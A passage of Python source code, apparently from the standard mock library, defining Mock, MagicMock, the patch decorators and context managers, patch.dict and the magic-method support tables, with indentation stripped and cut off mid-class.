spec_set = True
self._mock_add_spec(spec, spec_set)
__dict__['_mock_children'] = {}
__dict__['_mock_wraps'] = wraps
__dict__['_mock_delegate'] = None
__dict__['_mock_called'] = False
__dict__['_mock_call_args'] = None
__dict__['_mock_call_count'] = 0
__dict__['_mock_call_args_list'] = _CallList()
__dict__['_mock_mock_calls'] = _CallList()
__dict__['method_calls'] = _CallList()
if kwargs:
self.configure_mock(**kwargs)
_safe_super(NonCallableMock, self).__init__(
spec, wraps, name, spec_set, parent,
_spec_state
)
def attach_mock(self, mock, attribute):
"""
Attach a mock as an attribute of this one, replacing its name and
parent. Calls to the attached mock will be recorded in the
`method_calls` and `mock_calls` attributes of this one."""
mock._mock_parent = None
mock._mock_new_parent = None
mock._mock_name = ''
mock._mock_new_name = None
setattr(self, attribute, mock)
def mock_add_spec(self, spec, spec_set=False):
"""Add a spec to a mock. `spec` can either be an object or a
list of strings. Only attributes on the `spec` can be fetched as
attributes from the mock.
If `spec_set` is True then only attributes on the spec can be set."""
self._mock_add_spec(spec, spec_set)
def _mock_add_spec(self, spec, spec_set):
_spec_class = None
if spec is not None and not _is_list(spec):
if isinstance(spec, type):
_spec_class = spec
else:
_spec_class = _get_class(spec)
spec = dir(spec)
__dict__ = self.__dict__
__dict__['_spec_class'] = _spec_class
__dict__['_spec_set'] = spec_set
__dict__['_mock_methods'] = spec
def __get_return_value(self):
ret = self._mock_return_value
if self._mock_delegate is not None:
ret = self._mock_delegate.return_value
if ret is DEFAULT:
ret = self._get_child_mock(
_new_parent=self, _new_name='()'
)
self.return_value = ret
return ret
def __set_return_value(self, value):
if self._mock_delegate is not None:
self._mock_delegate.return_value = value
else:
self._mock_return_value = value
_check_and_set_parent(self, value, None, '()')
__return_value_doc = "The value to be returned when the mock is called."
return_value = property(__get_return_value, __set_return_value,
__return_value_doc)
@property
def __class__(self):
if self._spec_class is None:
return type(self)
return self._spec_class
called = _delegating_property('called')
call_count = _delegating_property('call_count')
call_args = _delegating_property('call_args')
call_args_list = _delegating_property('call_args_list')
mock_calls = _delegating_property('mock_calls')
def __get_side_effect(self):
delegated = self._mock_delegate
if delegated is None:
return self._mock_side_effect
return delegated.side_effect
def __set_side_effect(self, value):
value = _try_iter(value)
delegated = self._mock_delegate
if delegated is None:
self._mock_side_effect = value
else:
delegated.side_effect = value
side_effect = property(__get_side_effect, __set_side_effect)
def reset_mock(self):
"Restore the mock object to its initial state."
self.called = False
self.call_args = None
self.call_count = 0
self.mock_calls = _CallList()
self.call_args_list = _CallList()
self.method_calls = _CallList()
for child in self._mock_children.values():
if isinstance(child, _SpecState):
continue
child.reset_mock()
ret = self._mock_return_value
if _is_instance_mock(ret) and ret is not self:
ret.reset_mock()
def configure_mock(self, **kwargs):
"""Set attributes on the mock through keyword arguments.
Attributes plus return values and side effects can be set on child
mocks using standard dot notation and unpacking a dictionary in the
method call:
>>> attrs = {'method.return_value': 3, 'other.side_effect': KeyError}
>>> mock.configure_mock(**attrs)"""
for arg, val in sorted(kwargs.items(),
# we sort on the number of dots so that
# attributes are set before we set attributes on
# attributes
key=lambda entry: entry[0].count('.')):
args = arg.split('.')
final = args.pop()
obj = self
for entry in args:
obj = getattr(obj, entry)
setattr(obj, final, val)
def __getattr__(self, name):
if name == '_mock_methods':
raise AttributeError(name)
elif self._mock_methods is not None:
if name not in self._mock_methods or name in _all_magics:
raise AttributeError("Mock object has no attribute %r" % name)
elif _is_magic(name):
raise AttributeError(name)
result = self._mock_children.get(name)
if result is _deleted:
raise AttributeError(name)
elif result is None:
wraps = None
if self._mock_wraps is not None:
# XXXX should we get the attribute without triggering code
# execution?
wraps = getattr(self._mock_wraps, name)
result = self._get_child_mock(
parent=self, name=name, wraps=wraps, _new_name=name,
_new_parent=self
)
self._mock_children[name] = result
elif isinstance(result, _SpecState):
result = create_autospec(
result.spec, result.spec_set, result.instance,
result.parent, result.name
)
self._mock_children[name] = result
return result
def __repr__(self):
_name_list = [self._mock_new_name]
_parent = self._mock_new_parent
last = self
dot = '.'
if _name_list == ['()']:
dot = ''
seen = set()
while _parent is not None:
last = _parent
_name_list.append(_parent._mock_new_name + dot)
dot = '.'
if _parent._mock_new_name == '()':
dot = ''
_parent = _parent._mock_new_parent
# use ids here so as not to call __hash__ on the mocks
if id(_parent) in seen:
break
seen.add(id(_parent))
_name_list = list(reversed(_name_list))
_first = last._mock_name or 'mock'
if len(_name_list) > 1:
if _name_list[1] not in ('()', '().'):
_first += '.'
_name_list[0] = _first
name = ''.join(_name_list)
name_string = ''
if name not in ('mock', 'mock.'):
name_string = ' name=%r' % name
spec_string = ''
if self._spec_class is not None:
spec_string = ' spec=%r'
if self._spec_set:
spec_string = ' spec_set=%r'
spec_string = spec_string % self._spec_class.__name__
return "<%s%s%s id='%s'>" % (
type(self).__name__,
name_string,
spec_string,
id(self)
)
def __dir__(self):
"""Filter the output of `dir(mock)` to only useful members."""
if not FILTER_DIR:
return object.__dir__(self)
extras = self._mock_methods or []
from_type = dir(type(self))
from_dict = list(self.__dict__)
from_type = [e for e in from_type if not e.startswith('_')]
from_dict = [e for e in from_dict if not e.startswith('_') or
_is_magic(e)]
return sorted(set(extras + from_type + from_dict +
list(self._mock_children)))
def __setattr__(self, name, value):
if name in _allowed_names:
# property setters go through here
return object.__setattr__(self, name, value)
elif (self._spec_set and self._mock_methods is not None and
name not in self._mock_methods and
name not in self.__dict__):
raise AttributeError("Mock object has no attribute '%s'" % name)
elif name in _unsupported_magics:
msg = 'Attempting to set unsupported magic method %r.' % name
raise AttributeError(msg)
elif name in _all_magics:
if self._mock_methods is not None and name not in self._mock_methods:
raise AttributeError("Mock object has no attribute '%s'" % name)
if not _is_instance_mock(value):
setattr(type(self), name, _get_method(name, value))
original = value
value = lambda *args, **kw: original(self, *args, **kw)
else:
# only set _new_name and not name so that mock_calls is tracked
# but not method calls
_check_and_set_parent(self, value, None, name)
setattr(type(self), name, value)
self._mock_children[name] = value
elif name == '__class__':
self._spec_class = value
return
else:
if _check_and_set_parent(self, value, name, name):
self._mock_children[name] = value
return object.__setattr__(self, name, value)
def __delattr__(self, name):
if name in _all_magics and name in type(self).__dict__:
delattr(type(self), name)
if name not in self.__dict__:
# for magic methods that are still MagicProxy objects and
# not set on the instance itself
return
if name in self.__dict__:
object.__delattr__(self, name)
obj = self._mock_children.get(name, _missing)
if obj is _deleted:
raise AttributeError(name)
if obj is not _missing:
del self._mock_children[name]
self._mock_children[name] = _deleted
def _format_mock_call_signature(self, args, kwargs):
name = self._mock_name or 'mock'
return _format_call_signature(name, args, kwargs)
def _format_mock_failure_message(self, args, kwargs):
message = 'Expected call: %s\nActual call: %s'
expected_string = self._format_mock_call_signature(args, kwargs)
call_args = self.call_args
if len(call_args) == 3:
call_args = call_args[1:]
actual_string = self._format_mock_call_signature(*call_args)
return message % (expected_string, actual_string)
def assert_called_with(_mock_self, *args, **kwargs):
"""assert that the mock was called with the specified arguments.
Raises an AssertionError if the args and keyword args passed in are
different to the last call to the mock."""
self = _mock_self
if self.call_args is None:
expected = self._format_mock_call_signature(args, kwargs)
raise AssertionError('Expected call: %s\nNot called' % (expected,))
if self.call_args != (args, kwargs):
msg = self._format_mock_failure_message(args, kwargs)
raise AssertionError(msg)
def assert_called_once_with(_mock_self, *args, **kwargs):
"""assert that the mock was called exactly once and with the specified
arguments."""
self = _mock_self
if not self.call_count == 1:
msg = ("Expected '%s' to be called once. Called %s times." %
(self._mock_name or 'mock', self.call_count))
raise AssertionError(msg)
return self.assert_called_with(*args, **kwargs)
def assert_has_calls(self, calls, any_order=False):
"""assert the mock has been called with the specified calls.
The `mock_calls` list is checked for the calls.
If `any_order` is False (the default) then the calls must be
sequential. There can be extra calls before or after the
specified calls.
If `any_order` is True then the calls can be in any order, but
they must all appear in `mock_calls`."""
if not any_order:
if calls not in self.mock_calls:
raise AssertionError(
'Calls not found.\nExpected: %r\n'
'Actual: %r' % (calls, self.mock_calls)
)
return
all_calls = list(self.mock_calls)
not_found = []
for kall in calls:
try:
all_calls.remove(kall)
except ValueError:
not_found.append(kall)
if not_found:
raise AssertionError(
'%r not all found in call list' % (tuple(not_found),)
)
def assert_any_call(self, *args, **kwargs):
"""assert the mock has been called with the specified arguments.
The assert passes if the mock has *ever* been called, unlike
`assert_called_with` and `assert_called_once_with` that only pass if
the call is the most recent one."""
kall = call(*args, **kwargs)
if kall not in self.call_args_list:
expected_string = self._format_mock_call_signature(args, kwargs)
raise AssertionError(
'%s call not found' % expected_string
)
def _get_child_mock(self, **kw):
"""Create the child mocks for attributes and return value.
By default child mocks will be the same type as the parent.
Subclasses of Mock may want to override this to customize the way
child mocks are made.
For non-callable mocks the callable variant will be used (rather than
any custom subclass)."""
_type = type(self)
if not issubclass(_type, CallableMixin):
if issubclass(_type, NonCallableMagicMock):
klass = MagicMock
elif issubclass(_type, NonCallableMock) :
klass = Mock
else:
klass = _type.__mro__[1]
return klass(**kw)
def _try_iter(obj):
if obj is None:
return obj
if _is_exception(obj):
return obj
if _callable(obj):
return obj
try:
return iter(obj)
except TypeError:
# XXXX backwards compatibility
# but this will blow up on first call - so maybe we should fail early?
return obj
class CallableMixin(Base):
def __init__(self, spec=None, side_effect=None, return_value=DEFAULT,
wraps=None, name=None, spec_set=None, parent=None,
_spec_state=None, _new_name='', _new_parent=None, **kwargs):
self.__dict__['_mock_return_value'] = return_value
_safe_super(CallableMixin, self).__init__(
spec, wraps, name, spec_set, parent,
_spec_state, _new_name, _new_parent, **kwargs
)
self.side_effect = side_effect
def _mock_check_sig(self, *args, **kwargs):
# stub method that can be replaced with one with a specific signature
pass
def __call__(_mock_self, *args, **kwargs):
# can't use self in-case a function / method we are mocking uses self
# in the signature
_mock_self._mock_check_sig(*args, **kwargs)
return _mock_self._mock_call(*args, **kwargs)
def _mock_call(_mock_self, *args, **kwargs):
self = _mock_self
self.called = True
self.call_count += 1
self.call_args = _Call((args, kwargs), two=True)
self.call_args_list.append(_Call((args, kwargs), two=True))
_new_name = self._mock_new_name
_new_parent = self._mock_new_parent
self.mock_calls.append(_Call(('', args, kwargs)))
seen = set()
skip_next_dot = _new_name == '()'
do_method_calls = self._mock_parent is not None
name = self._mock_name
while _new_parent is not None:
this_mock_call = _Call((_new_name, args, kwargs))
if _new_parent._mock_new_name:
dot = '.'
if skip_next_dot:
dot = ''
skip_next_dot = False
if _new_parent._mock_new_name == '()':
skip_next_dot = True
_new_name = _new_parent._mock_new_name + dot + _new_name
if do_method_calls:
if _new_name == name:
this_method_call = this_mock_call
else:
this_method_call = _Call((name, args, kwargs))
_new_parent.method_calls.append(this_method_call)
do_method_calls = _new_parent._mock_parent is not None
if do_method_calls:
name = _new_parent._mock_name + '.' + name
_new_parent.mock_calls.append(this_mock_call)
_new_parent = _new_parent._mock_new_parent
# use ids here so as not to call __hash__ on the mocks
_new_parent_id = id(_new_parent)
if _new_parent_id in seen:
break
seen.add(_new_parent_id)
ret_val = DEFAULT
effect = self.side_effect
if effect is not None:
if _is_exception(effect):
raise effect
if not _callable(effect):
result = next(effect)
if _is_exception(result):
raise result
if result is DEFAULT:
result = self.return_value
return result
ret_val = effect(*args, **kwargs)
if ret_val is DEFAULT:
ret_val = self.return_value
if (self._mock_wraps is not None and
self._mock_return_value is DEFAULT):
return self._mock_wraps(*args, **kwargs)
if ret_val is DEFAULT:
ret_val = self.return_value
return ret_val
class Mock(CallableMixin, NonCallableMock):
"""
Create a new `Mock` object. `Mock` takes several optional arguments
that specify the behaviour of the Mock object:
* `spec`: This can be either a list of strings or an existing object (a
class or instance) that acts as the specification for the mock object. If
you pass in an object then a list of strings is formed by calling dir on
the object (excluding unsupported magic attributes and methods). Accessing
any attribute not in this list will raise an `AttributeError`.
If `spec` is an object (rather than a list of strings) then
`mock.__class__` returns the class of the spec object. This allows mocks
to pass `isinstance` tests.
* `spec_set`: A stricter variant of `spec`. If used, attempting to *set*
or get an attribute on the mock that isn't on the object passed as
`spec_set` will raise an `AttributeError`.
* `side_effect`: A function to be called whenever the Mock is called. See
the `side_effect` attribute. Useful for raising exceptions or
dynamically changing return values. The function is called with the same
arguments as the mock, and unless it returns `DEFAULT`, the return
value of this function is used as the return value.
If `side_effect` is an iterable then each call to the mock will return
the next value from the iterable. If any of the members of the iterable
are exceptions they will be raised instead of returned.
* `return_value`: The value returned when the mock is called. By default
this is a new Mock (created on first access). See the
`return_value` attribute.
* `wraps`: Item for the mock object to wrap. If `wraps` is not None then
calling the Mock will pass the call through to the wrapped object
(returning the real result). Attribute access on the mock will return a
Mock object that wraps the corresponding attribute of the wrapped object
(so attempting to access an attribute that doesn't exist will raise an
`AttributeError`).
If the mock has an explicit `return_value` set then calls are not passed
to the wrapped object and the `return_value` is returned instead.
* `name`: If the mock has a name then it will be used in the repr of the
mock. This can be useful for debugging. The name is propagated to child
mocks.
Mocks can also be called with arbitrary keyword arguments. These will be
used to set attributes on the mock after it is created.
"""
def _dot_lookup(thing, comp, import_path):
try:
return getattr(thing, comp)
except AttributeError:
__import__(import_path)
return getattr(thing, comp)
def _importer(target):
components = target.split('.')
import_path = components.pop(0)
thing = __import__(import_path)
for comp in components:
import_path += ".%s" % comp
thing = _dot_lookup(thing, comp, import_path)
return thing
def _is_started(patcher):
# XXXX horrible
return hasattr(patcher, 'is_local')
class _patch(object):
attribute_name = None
_active_patches = set()
def __init__(
self, getter, attribute, new, spec, create,
spec_set, autospec, new_callable, kwargs
):
if new_callable is not None:
if new is not DEFAULT:
raise ValueError(
"Cannot use 'new' and 'new_callable' together"
)
if autospec is not None:
raise ValueError(
"Cannot use 'autospec' and 'new_callable' together"
)
self.getter = getter
self.attribute = attribute
self.new = new
self.new_callable = new_callable
self.spec = spec
self.create = create
self.has_local = False
self.spec_set = spec_set
self.autospec = autospec
self.kwargs = kwargs
self.additional_patchers = []
def copy(self):
patcher = _patch(
self.getter, self.attribute, self.new, self.spec,
self.create, self.spec_set,
self.autospec, self.new_callable, self.kwargs
)
patcher.attribute_name = self.attribute_name
patcher.additional_patchers = [
p.copy() for p in self.additional_patchers
]
return patcher
def __call__(self, func):
if isinstance(func, type):
return self.decorate_class(func)
return self.decorate_callable(func)
def decorate_class(self, klass):
for attr in dir(klass):
if not attr.startswith(patch.TEST_PREFIX):
continue
attr_value = getattr(klass, attr)
if not hasattr(attr_value, "__call__"):
continue
patcher = self.copy()
setattr(klass, attr, patcher(attr_value))
return klass
def decorate_callable(self, func):
if hasattr(func, 'patchings'):
func.patchings.append(self)
return func
@wraps(func)
def patched(*args, **keywargs):
extra_args = []
entered_patchers = []
exc_info = tuple()
try:
for patching in patched.patchings:
arg = patching.__enter__()
entered_patchers.append(patching)
if patching.attribute_name is not None:
keywargs.update(arg)
elif patching.new is DEFAULT:
extra_args.append(arg)
args += tuple(extra_args)
return func(*args, **keywargs)
except:
if (patching not in entered_patchers and
_is_started(patching)):
# the patcher may have been started, but an exception
# raised whilst entering one of its additional_patchers
entered_patchers.append(patching)
# Pass the exception to __exit__
exc_info = sys.exc_info()
# re-raise the exception
raise
finally:
for patching in reversed(entered_patchers):
patching.__exit__(*exc_info)
patched.patchings = [self]
return patched
def get_original(self):
target = self.getter()
name = self.attribute
original = DEFAULT
local = False
try:
original = target.__dict__[name]
except (AttributeError, KeyError):
original = getattr(target, name, DEFAULT)
else:
local = True
if not self.create and original is DEFAULT:
raise AttributeError(
"%s does not have the attribute %r" % (target, name)
)
return original, local
def __enter__(self):
"""Perform the patch."""
new, spec, spec_set = self.new, self.spec, self.spec_set
autospec, kwargs = self.autospec, self.kwargs
new_callable = self.new_callable
self.target = self.getter()
# normalise False to None
if spec is False:
spec = None
if spec_set is False:
spec_set = None
if autospec is False:
autospec = None
if spec is not None and autospec is not None:
raise TypeError("Can't specify spec and autospec")
if ((spec is not None or autospec is not None) and
spec_set not in (True, None)):
raise TypeError("Can't provide explicit spec_set *and* spec or autospec")
original, local = self.get_original()
if new is DEFAULT and autospec is None:
inherit = False
if spec is True:
# set spec to the object we are replacing
spec = original
if spec_set is True:
spec_set = original
spec = None
elif spec is not None:
if spec_set is True:
spec_set = spec
spec = None
elif spec_set is True:
spec_set = original
if spec is not None or spec_set is not None:
if original is DEFAULT:
raise TypeError("Can't use 'spec' with create=True")
if isinstance(original, type):
# If we're patching out a class and there is a spec
inherit = True
Klass = MagicMock
_kwargs = {}
if new_callable is not None:
Klass = new_callable
elif spec is not None or spec_set is not None:
this_spec = spec
if spec_set is not None:
this_spec = spec_set
if _is_list(this_spec):
not_callable = '__call__' not in this_spec
else:
not_callable = not callable(this_spec)
if not_callable:
Klass = NonCallableMagicMock
if spec is not None:
_kwargs['spec'] = spec
if spec_set is not None:
_kwargs['spec_set'] = spec_set
# add a name to mocks
if (isinstance(Klass, type) and
issubclass(Klass, NonCallableMock) and self.attribute):
_kwargs['name'] = self.attribute
_kwargs.update(kwargs)
new = Klass(**_kwargs)
if inherit and _is_instance_mock(new):
# we can only tell if the instance should be callable if the
# spec is not a list
this_spec = spec
if spec_set is not None:
this_spec = spec_set
if (not _is_list(this_spec) and not
_instance_callable(this_spec)):
Klass = NonCallableMagicMock
_kwargs.pop('name')
new.return_value = Klass(_new_parent=new, _new_name='()',
**_kwargs)
elif autospec is not None:
# spec is ignored, new *must* be default, spec_set is treated
# as a boolean. Should we check spec is not None and that spec_set
# is a bool?
if new is not DEFAULT:
raise TypeError(
"autospec creates the mock for you. Can't specify "
"autospec and new."
)
if original is DEFAULT:
raise TypeError("Can't use 'autospec' with create=True")
spec_set = bool(spec_set)
if autospec is True:
autospec = original
new = create_autospec(autospec, spec_set=spec_set,
_name=self.attribute, **kwargs)
elif kwargs:
# can't set keyword args when we aren't creating the mock
# XXXX If new is a Mock we could call new.configure_mock(**kwargs)
raise TypeError("Can't pass kwargs to a mock we aren't creating")
new_attr = new
self.temp_original = original
self.is_local = local
setattr(self.target, self.attribute, new_attr)
if self.attribute_name is not None:
extra_args = {}
if self.new is DEFAULT:
extra_args[self.attribute_name] = new
for patching in self.additional_patchers:
arg = patching.__enter__()
if patching.new is DEFAULT:
extra_args.update(arg)
return extra_args
return new
def __exit__(self, *exc_info):
"""Undo the patch."""
if not _is_started(self):
raise RuntimeError('stop called on unstarted patcher')
if self.is_local and self.temp_original is not DEFAULT:
setattr(self.target, self.attribute, self.temp_original)
else:
delattr(self.target, self.attribute)
if not self.create and not hasattr(self.target, self.attribute):
# needed for proxy objects like django settings
setattr(self.target, self.attribute, self.temp_original)
del self.temp_original
del self.is_local
del self.target
for patcher in reversed(self.additional_patchers):
if _is_started(patcher):
patcher.__exit__(*exc_info)
def start(self):
"""Activate a patch, returning any created mock."""
result = self.__enter__()
self._active_patches.add(self)
return result
def stop(self):
"""Stop an active patch."""
self._active_patches.discard(self)
return self.__exit__()
def _get_target(target):
try:
target, attribute = target.rsplit('.', 1)
except (TypeError, ValueError):
raise TypeError("Need a valid target to patch. You supplied: %r" %
(target,))
getter = lambda: _importer(target)
return getter, attribute
def _patch_object(
target, attribute, new=DEFAULT, spec=None,
create=False, spec_set=None, autospec=None,
new_callable=None, **kwargs
):
"""
patch the named member (`attribute`) on an object (`target`) with a mock
object.
`patch.object` can be used as a decorator, class decorator or a context
manager. Arguments `new`, `spec`, `create`, `spec_set`,
`autospec` and `new_callable` have the same meaning as for `patch`. Like
`patch`, `patch.object` takes arbitrary keyword arguments for configuring
the mock object it creates.
When used as a class decorator `patch.object` honours `patch.TEST_PREFIX`
for choosing which methods to wrap.
"""
getter = lambda: target
return _patch(
getter, attribute, new, spec, create,
spec_set, autospec, new_callable, kwargs
)
def _patch_multiple(target, spec=None, create=False, spec_set=None,
autospec=None, new_callable=None, **kwargs):
"""Perform multiple patches in a single call. It takes the object to be
patched (either as an object or a string to fetch the object by importing)
and keyword arguments for the patches::
with patch.multiple(settings, FIRST_PATCH='one', SECOND_PATCH='two'):
...
Use `DEFAULT` as the value if you want `patch.multiple` to create
mocks for you. In this case the created mocks are passed into a decorated
function by keyword, and a dictionary is returned when `patch.multiple` is
used as a context manager.
`patch.multiple` can be used as a decorator, class decorator or a context
manager. The arguments `spec`, `spec_set`, `create`,
`autospec` and `new_callable` have the same meaning as for `patch`. These
arguments will be applied to *all* patches done by `patch.multiple`.
When used as a class decorator `patch.multiple` honours `patch.TEST_PREFIX`
for choosing which methods to wrap.
"""
if type(target) is str:
getter = lambda: _importer(target)
else:
getter = lambda: target
if not kwargs:
raise ValueError(
'Must supply at least one keyword argument with patch.multiple'
)
# need to wrap in a list for python 3, where items is a view
items = list(kwargs.items())
attribute, new = items[0]
patcher = _patch(
getter, attribute, new, spec, create, spec_set,
autospec, new_callable, {}
)
patcher.attribute_name = attribute
for attribute, new in items[1:]:
this_patcher = _patch(
getter, attribute, new, spec, create, spec_set,
autospec, new_callable, {}
)
this_patcher.attribute_name = attribute
patcher.additional_patchers.append(this_patcher)
return patcher
def patch(
target, new=DEFAULT, spec=None, create=False,
spec_set=None, autospec=None, new_callable=None, **kwargs
):
"""
`patch` acts as a function decorator, class decorator or a context
manager. Inside the body of the function or with statement, the `target`
is patched with a `new` object. When the function/with statement exits
the patch is undone.
If `new` is omitted, then the target is replaced with a
`MagicMock`. If `patch` is used as a decorator and `new` is
omitted, the created mock is passed in as an extra argument to the
decorated function. If `patch` is used as a context manager the created
mock is returned by the context manager.
`target` should be a string in the form `'package.module.ClassName'`. The
`target` is imported and the specified object replaced with the `new`
object, so the `target` must be importable from the environment you are
calling `patch` from. The target is imported when the decorated function
is executed, not at decoration time.
The `spec` and `spec_set` keyword arguments are passed to the `MagicMock`
if patch is creating one for you.
In addition you can pass `spec=True` or `spec_set=True`, which causes
patch to pass in the object being mocked as the spec/spec_set object.
`new_callable` allows you to specify a different class, or callable object,
that will be called to create the `new` object. By default `MagicMock` is
used.
A more powerful form of `spec` is `autospec`. If you set `autospec=True`
then the mock with be created with a spec from the object being replaced.
All attributes of the mock will also have the spec of the corresponding
attribute of the object being replaced. Methods and functions being
mocked will have their arguments checked and will raise a `TypeError` if
they are called with the wrong signature. For mocks replacing a class,
their return value (the 'instance') will have the same spec as the class.
Instead of `autospec=True` you can pass `autospec=some_object` to use an
arbitrary object as the spec instead of the one being replaced.
By default `patch` will fail to replace attributes that don't exist. If
you pass in `create=True`, and the attribute doesn't exist, patch will
create the attribute for you when the patched function is called, and
delete it again afterwards. This is useful for writing tests against
attributes that your production code creates at runtime. It is off by
default because it can be dangerous. With it switched on you can write
passing tests against APIs that don't actually exist!
Patch can be used as a `TestCase` class decorator. It works by
decorating each test method in the class. This reduces the boilerplate
code when your test methods share a common patchings set. `patch` finds
tests by looking for method names that start with `patch.TEST_PREFIX`.
By default this is `test`, which matches the way `unittest` finds tests.
You can specify an alternative prefix by setting `patch.TEST_PREFIX`.
Patch can be used as a context manager, with the with statement. Here the
patching applies to the indented block after the with statement. If you
use "as" then the patched object will be bound to the name after the
"as"; very useful if `patch` is creating a mock object for you.
`patch` takes arbitrary keyword arguments. These will be passed to
the `Mock` (or `new_callable`) on construction.
`patch.dict(...)`, `patch.multiple(...)` and `patch.object(...)` are
available for alternate use-cases.
"""
getter, attribute = _get_target(target)
return _patch(
getter, attribute, new, spec, create,
spec_set, autospec, new_callable, kwargs
)
class _patch_dict(object):
"""
Patch a dictionary, or dictionary like object, and restore the dictionary
to its original state after the test.
`in_dict` can be a dictionary or a mapping like container. If it is a
mapping then it must at least support getting, setting and deleting items
plus iterating over keys.
`in_dict` can also be a string specifying the name of the dictionary, which
will then be fetched by importing it.
`values` can be a dictionary of values to set in the dictionary. `values`
can also be an iterable of `(key, value)` pairs.
If `clear` is True then the dictionary will be cleared before the new
values are set.
`patch.dict` can also be called with arbitrary keyword arguments to set
values in the dictionary::
with patch.dict('sys.modules', mymodule=Mock(), other_module=Mock()):
...
`patch.dict` can be used as a context manager, decorator or class
decorator. When used as a class decorator `patch.dict` honours
`patch.TEST_PREFIX` for choosing which methods to wrap.
"""
def __init__(self, in_dict, values=(), clear=False, **kwargs):
if isinstance(in_dict, str):
in_dict = _importer(in_dict)
self.in_dict = in_dict
# support any argument supported by dict(...) constructor
self.values = dict(values)
self.values.update(kwargs)
self.clear = clear
self._original = None
def __call__(self, f):
if isinstance(f, type):
return self.decorate_class(f)
@wraps(f)
def _inner(*args, **kw):
self._patch_dict()
try:
return f(*args, **kw)
finally:
self._unpatch_dict()
return _inner
def decorate_class(self, klass):
for attr in dir(klass):
attr_value = getattr(klass, attr)
if (attr.startswith(patch.TEST_PREFIX) and
hasattr(attr_value, "__call__")):
decorator = _patch_dict(self.in_dict, self.values, self.clear)
decorated = decorator(attr_value)
setattr(klass, attr, decorated)
return klass
def __enter__(self):
"""Patch the dict."""
self._patch_dict()
def _patch_dict(self):
values = self.values
in_dict = self.in_dict
clear = self.clear
try:
original = in_dict.copy()
except AttributeError:
# dict like object with no copy method
# must support iteration over keys
original = {}
for key in in_dict:
original[key] = in_dict[key]
self._original = original
if clear:
_clear_dict(in_dict)
try:
in_dict.update(values)
except AttributeError:
# dict like object with no update method
for key in values:
in_dict[key] = values[key]
def _unpatch_dict(self):
in_dict = self.in_dict
original = self._original
_clear_dict(in_dict)
try:
in_dict.update(original)
except AttributeError:
for key in original:
in_dict[key] = original[key]
def __exit__(self, *args):
"""Unpatch the dict."""
self._unpatch_dict()
return False
start = __enter__
stop = __exit__
def _clear_dict(in_dict):
try:
in_dict.clear()
except AttributeError:
keys = list(in_dict)
for key in keys:
del in_dict[key]
def _patch_stopall():
"""Stop all active patches."""
for patch in list(_patch._active_patches):
patch.stop()
patch.object = _patch_object
patch.dict = _patch_dict
patch.multiple = _patch_multiple
patch.stopall = _patch_stopall
patch.TEST_PREFIX = 'test'
magic_methods = (
"lt le gt ge eq ne "
"getitem setitem delitem "
"len contains iter "
"hash str sizeof "
"enter exit "
"divmod neg pos abs invert "
"complex int float index "
"trunc floor ceil "
"bool next "
)
numerics = "add sub mul div floordiv mod lshift rshift and xor or pow "
inplace = ' '.join('i%s' % n for n in numerics.split())
right = ' '.join('r%s' % n for n in numerics.split())
# not including __prepare__, __instancecheck__, __subclasscheck__
# (as they are metaclass methods)
# __del__ is not supported at all as it causes problems if it exists
_non_defaults = set('__%s__' % method for method in [
'get', 'set', 'delete', 'reversed', 'missing', 'reduce', 'reduce_ex',
'getinitargs', 'getnewargs', 'getstate', 'setstate', 'getformat',
'setformat', 'repr', 'dir', 'subclasses', 'format',
])
def _get_method(name, func):
"Turns a callable object (like a mock) into a real function"
def method(self, *args, **kw):
return func(self, *args, **kw)
method.__name__ = name
return method
_magics = set(
'__%s__' % method for method in
' '.join([magic_methods, numerics, inplace, right]).split()
)
_all_magics = _magics | _non_defaults
_unsupported_magics = set([
'__getattr__', '__setattr__',
'__init__', '__new__', '__prepare__'
'__instancecheck__', '__subclasscheck__',
'__del__'
])
_calculate_return_value = {
'__hash__': lambda self: object.__hash__(self),
'__str__': lambda self: object.__str__(self),
'__sizeof__': lambda self: object.__sizeof__(self),
}
_return_values = {
'__lt__': NotImplemented,
'__gt__': NotImplemented,
'__le__': NotImplemented,
'__ge__': NotImplemented,
'__int__': 1,
'__contains__': False,
'__len__': 0,
'__exit__': False,
'__complex__': 1j,
'__float__': 1.0,
'__bool__': True,
'__index__': 1,
}
def _get_eq(self):
def __eq__(other):
ret_val = self.__eq__._mock_return_value
if ret_val is not DEFAULT:
return ret_val
return self is other
return __eq__
def _get_ne(self):
def __ne__(other):
if self.__ne__._mock_return_value is not DEFAULT:
return DEFAULT
return self is not other
return __ne__
def _get_iter(self):
def __iter__():
ret_val = self.__iter__._mock_return_value
if ret_val is DEFAULT:
return iter([])
# if ret_val was already an iterator, then calling iter on it should
# return the iterator unchanged
return iter(ret_val)
return __iter__
_side_effect_methods = {
'__eq__': _get_eq,
'__ne__': _get_ne,
'__iter__': _get_iter,
}
def _set_return_value(mock, method, name):
fixed = _return_values.get(name, DEFAULT)
if fixed is not DEFAULT:
method.return_value = fixed
return
return_calulator = _calculate_return_value.get(name)
if return_calulator is not None:
try:
return_value = return_calulator(mock)
except AttributeError:
# XXXX why do we return AttributeError here?
# set it as a side_effect instead?
return_value = AttributeError(name)
method.return_value = return_value
return
side_effector = _side_effect_methods.get(name)
if side_effector is not None:
method.side_effect = side_effector(mock)
class MagicMixin(object):
def __init__(self, *args, **kw):
_safe_super(MagicMixin, self).__init__(*args, **kw)
self._mock_set_magics()
def _mock_set_magics(self):
these_magics = _magics
if self._mock_methods is not None:
these_magics = _magics.intersection(self._mock_methods)
remove_magics = set()
remove_magics = _magics - these_magics
for entry in remove_magics:
if entry in type(self).__dict__:
# remove unneeded magic methods
delattr(self, entry)
# don't overwrite existing attributes if called a second time
these_magics = these_magics - set(type(self).__dict__)
_type = type(self)
for entry in these_magics:
setattr(_type, entry, MagicProxy(entry, self))
class NonCallableMagicMock(MagicMixin, NonCallableMock):
"""A version of `MagicMock` that isn't callable."""
def mock_add_spec(self, spec, spec_set=False):
"""Add a spec to a mock. `spec` can either be an object or a
list of strings. Only attributes on the `spec` can be fetched as
attributes from the mock.
If `spec_set` is True then only attributes on the spec can be set."""
self._mock_add_spec(spec, spec_set)
self._mock_set_magics()
class MagicMock(MagicMixin, Mock):
"""
MagicMock is a subclass of Mock with default implementations
of most of the magic methods. You can use MagicMock without having to
configure the magic methods yourself.
If you use the `spec` or `spec_set` arguments then *only* magic
methods that exist in the spec will be created.
Attributes and the return value of a `MagicMock` will also be `MagicMocks`.
"""
def mock_add_spec(self, spec, spec_set=False):
"""Add a spec to a mock. `spec` can either be an object or a
list of strings. Only attributes on the `spec` can be fetched as
attributes from the mock.
If `spec_set` is True then only attributes on the spec can be set."""
self._mock_add_spec(spec, spec_set)
self._mock_set_magics()
class MagicProxy(object):
